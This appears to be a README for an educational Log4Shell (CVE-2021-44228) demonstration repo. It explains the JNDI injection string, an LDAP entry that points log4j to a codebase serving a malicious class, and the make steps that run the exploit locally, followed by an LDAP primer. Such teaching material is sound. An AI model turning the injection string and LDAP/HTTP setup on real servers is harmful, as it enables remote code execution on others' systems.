Log4Shell
A demonstration of how the “log4shell” remote code execution vulnerability in log4j works.
My log4shell repo contains code to demonstrate this for educational purposes only. Read more here: https://www.lunasec.io/docs/blog/log4j-zero-day/ and here https://nvd.nist.gov/vuln/detail/CVE-2021-44228.
How it works
DoJndiLookup
executes the following statement:LOGGER.info("${jndi:ldap://localhost/cn=log4shell,dc=example,dc=com}");
- Log4J makes a request to the LDAP server (“localhost” here just for testing) with the filter/query
cn=log4shell,dc=example,dc=com
- The server returns something like this:
dn: cn=log4shell,dc=example,dc=com objectClass: javaContainer objectClass: javaNamingReference cn: log4shell javaClassName: foo javaFactory: Log4Shell javaCodebase: http://localhost:8000
- It makes a request to the file server (in this case just a Python3 “http.server”) at
http://localhost:8000/Log4Shell.class
. It determined the URI using thejavaCodebase
andjavaFactory
attributes. - The
Log4Shell
class implementsjavax.naming.spi.ObjectFactory
. The return value from itsgetObjectInstance
method is what gets logged inDoJndiLookup
. ThegetObjectInstance
method can have arbitrary code.
How to run
- Either build an image from the Dockerfile, e.g.
docker build . -t local/log4shell
then run it, e.gdocker run -it local/log4shell sh
OR run the following (adjust the command for your OS):sudo yum install gcc java-1.8.0-openjdk-devel maven -y make customize-config
- Run
make start-slapd make add-log4shell-entry ./ldap/search.sh "cn=log4shell,dc=example,dc=com" make start-http-server make run-exploit # You should see "WARNING: This is an arbitrary command run from Log4Shell.java!" in the logs.
LDAP
I’ll cover the main things I learned. Don’t take this as gospel.
LDAP: lightweight directory access protocol.
A “directory” is a hierarchical database. For example, you could have an employee in that directory called Joe who works in the Engineering department at Example Company. He would be identified by a distinguished name (dn) of cn=joe,ou=engineering,dc=example,dc=com
; in English that would be “Common Name: Joe, Organizational Unit: Engineering, Company: example.com” (dc means “domain component”). The entries can have attributes too, see below.
You can add entries to the database with the ldapadd
command, specifying a ldif
(LDAP Data Interchange Format) file to load the entries from. Entries are separated by empty lines in ldif
files that look like this:
dn: c=US,dc=example,dc=com
objectclass: country
c: US
# other entries ...
dn: cn=Joe Bloggs,ou=Engineering,c=US,dc=example,dc=com
objectclass: organizationalPerson
cn: Joe Bloggs
sn: Bloggs
title: Vice President
In this repo I made my organization “example.com”, i.e. dc=example,dc.com
. This means all entries in the database are descendants of this entry. For example, I can’t add an entry with a distinguished name of cn=123
, it would need to be cn=123,dc=example,dc=com
.
Each entry has an objectclass
attribute that determines the schema of the entry (see RFC2256). For example, there’s a built-in country
object class that has a schema with a mandatory c
attribute (the two-letter ISO 3166 country code) and some optional attributes. You have to put the mandatory attributes in the distinguished name; the example entry above for US must have a dn of c=US,dc=example,dc=com
; it couldn’t have a dn of c=GB,dc=example,dc=com
or x=US,dc=example,dc=com
or x=1,c=US,dc=example,dc=com
.
Object classes have a type hierarchy with the abstract class top
at the top. You can specify multiple object class attributes for an entry. You’ll see in log4shell.ldif
two object classes: javaContainer
and javaNamingReference
. The latter object class is the important one - it has the attributes we need for the exploit - but it is an “auxiliary” object class and its parent javaObject
is an abstract class, so we specify javaContainer
to give it a concrete (“structural” in LDAP terms) type.
You can search the directory like a database too. E.g. to lookup the entry for the US by ID/distinguished name you can run ldapsearch -x -s base -b 'c=US,dc=example,dc=com'
. Or if you want to list all entries “under” US, e.g. show all departments and employees in US, then you could change -s base
to -s sub
. You can filter by the attributes too.
I used OpenLDAP to get a stand-alone LDAP daemon called slapd. The Makefile customizes the database to use “example.com” as the root domain instead of “my-domain.com” and adds an “include” to import the java schema in addition to the core schema.
In order to modify the database we have an admin user with the distinguished name cn=Manager,dc=example,dc=com
. The admin user and password were configured when we originally created the database with /usr/local/etc/openldap/slapd.ldif
. When you execute commands you can specify the password inline with -w <password>
and specify the admin user’s dn with -D <dn>
. E.g. ldapadd -w secret -D "cn=Manager,dc=example,dc=com" -f ldap/log4shell.ldif
will add the entries in log4shell.ldif
to the database. The default configuration allows read-only access to all users.
Notes
- Fun fact: AWS EC2 instances have a process running that automatically patches vulnerable applications! If you run
ps -ef | grep log4j-cve
you’ll see/usr/bin/log4j-cve-2021-44228-hotpatch
is running. This means JNDI lookups will printPatched JndiLookup::lookup()
instead. Read more here: https://aws.amazon.com/blogs/opensource/hotpatch-for-apache-log4j/ - The
ldap/
folder has some helper scripts for querying slapd (the LDAP directory server)